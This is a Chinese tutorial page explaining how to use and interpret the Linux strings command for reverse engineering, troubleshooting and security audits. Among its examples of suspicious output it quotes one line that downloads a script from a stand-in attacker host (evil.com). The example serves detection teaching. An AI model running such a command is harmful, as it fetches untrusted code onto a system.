温馨提示×

如何解读linux strings信息

小樊
37
2026-09-14 14:46:31
栏目: 智能运维

在 Linux 中,strings 命令用于从一个二进制文件(可执行文件、库、core dump、磁盘镜像等)中提取可打印的字符串。它常用于逆向分析、排查问题、安全审计等场景。下面从「怎么用 → 输出是什么 → 如何解读 → 实战例子」逐步说明。


一、基本用法

strings filename

示例:

strings /bin/ls

默认会输出长度 ≥ 4 的 ASCII 可打印字符串。

常用参数

参数 作用
-n <长度> 指定最小字符串长度
-a 扫描整个文件(不只数据段)
-e <编码> 指定字符编码(如 s=7-bit, l=16-bit LE)
-t x 显示字符串的偏移(十六进制)
-f 显示文件名

示例:

strings -n 6 -t x /bin/ls

二、strings 输出是什么

strings 不解析文件结构,只是扫描字节流,把连续的可打印字符提取出来。

例如可能看到:

/usr/bin/ls
Usage: %s [OPTION]... [FILE]...
invalid option
GNU coreutils

这些信息通常来自:

  • 程序中的字符串常量
  • 错误信息
  • 路径、URL、版本号
  • 调试符号(未 strip 时)

三、如何解读 strings 信息

1️⃣ 看“程序身份”

GNU coreutils 8.32

→ 知道程序版本、来源


2️⃣ 看“功能和参数”

--help
--version
recursive
force

→ 推测支持的命令行选项


3️⃣ 看“路径和依赖”

/lib64/ld-linux-x86-64.so.2
/etc/passwd

→ 可能访问的系统资源


4️⃣ 看“可疑内容(安全分析)”

wget http://evil.com/x.sh
/bin/sh
password=

→ 可能是恶意样本


5️⃣ 看“调试 / 开发痕迹”

TODO: fix memory leak
DEBUG: entering function

→ 开发阶段信息


四、结合其他工具更有价值

strings + grep

strings binary | grep -i error

strings + objdump

objdump -d binary

strings + file

file binary

strings + hexdump

strings -t x binary
hexdump -C binary | less

五、示例:分析一个未知程序

$ strings unknown_bin | head
UPX!
This file is packed
http://example.com/update

解读:

  • UPX! → 被 UPX 加壳
  • 有网络更新行为
  • 需要进一步脱壳分析

六、注意事项(很重要)

✅ strings 不等于反编译 ❌ 不能看到逻辑、函数调用 ⚠ 加壳 / 加密后字符串可能不可读 ⚠ 误报常见(随机字节也可能被当成字符串)


七、一句话总结

strings 是“看二进制里写了什么话”,不是“看程序在做什么事”。

如果你有具体的一个 strings 输出或某个二进制文件想分析,可以直接贴出来,我可以帮你逐行解读。

0